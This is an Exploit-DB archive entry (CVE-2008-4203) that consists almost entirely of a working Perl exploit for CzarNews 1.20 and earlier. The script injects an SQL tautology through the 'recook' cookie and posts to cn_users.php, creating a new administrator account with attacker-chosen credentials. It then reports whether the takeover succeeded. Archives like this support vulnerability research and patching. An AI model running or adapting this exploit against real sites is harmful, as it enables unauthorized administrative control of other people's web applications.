CzarNews <= 1.20 Cookie Remote SQL Injection Exploit

2008-09-15T00:00:00
ID EDB-ID:6462
Type exploitdb
Reporter StAkeR
Modified 2008-09-15T00:00:00

Description

CzarNews <= 1.20 (Cookie) Remote SQL Injection Exploit. CVE-2008-4203. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
# ----------------------------------------------------------
# CzarNews &lt;= v1.20 (Cookie) Remote SQL Injection Exploit
# Perl Exploit - Add a new admin with your credentials!
# Discovered On: 15/09/2008
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
# ----------------------------------------------------------
# Usage: perl http://localhost/cms StAkeR obscure
# ----------------------------------------------------------

use strict;
use LWP::UserAgent;

my $email = 'some@example.net';
my ($hostname,$username,$password) = @ARGV;
my $request  = undef;
my $http_s   = new LWP::UserAgent or die $!;

$hostname = ($hostname =~ /^http:\/\/(.+?)$/) ? $ARGV[0] : banner();
banner() unless $username and $password;

$http_s-&gt;agent("Mozilla/4.5 [en] (Win95; U)");
$http_s-&gt;timeout(1);
$http_s-&gt;default_header('Cookie' =&gt; "recook=' or '1=1,' or '1=1");           

$request = $http_s-&gt;post($hostname."/cn_users.php",
                         [
                          user    =&gt; $username,
                          pass    =&gt; $password,
                          email   =&gt; $email,
                          allcats =&gt; "all",
                          admin   =&gt; "off",
                          news    =&gt; "on",
                          images  =&gt; "on",
                          users   =&gt; "on",
                          categories =&gt; "on",
                          config  =&gt; "on",
                          words  =&gt; "on",
                          op =&gt; "add",
                          id =&gt; '',
                          go  =&gt; "true",
                          submit =&gt; "Add+User"
                        ]);
        
if($request-&gt;is_success)
{
  if($request-&gt;content =~ /has been added/i)
  {
    print "[+] Added New Administrator: $username & $password\n";
  }
  else
  {
    print "[!] Exploit Failed!\n";
    print "[!] Site Not Vulnerable\n";
  }
}


sub banner
{
  print "[+] CzarNews &lt;= v1.20 Remote SQL Injection Exploit (add new admin)\n";
  print "[+] Usage: perl exploit.pl [host] [username] [password]\n";
  return exit;
}

# milw0rm.com [2008-09-15]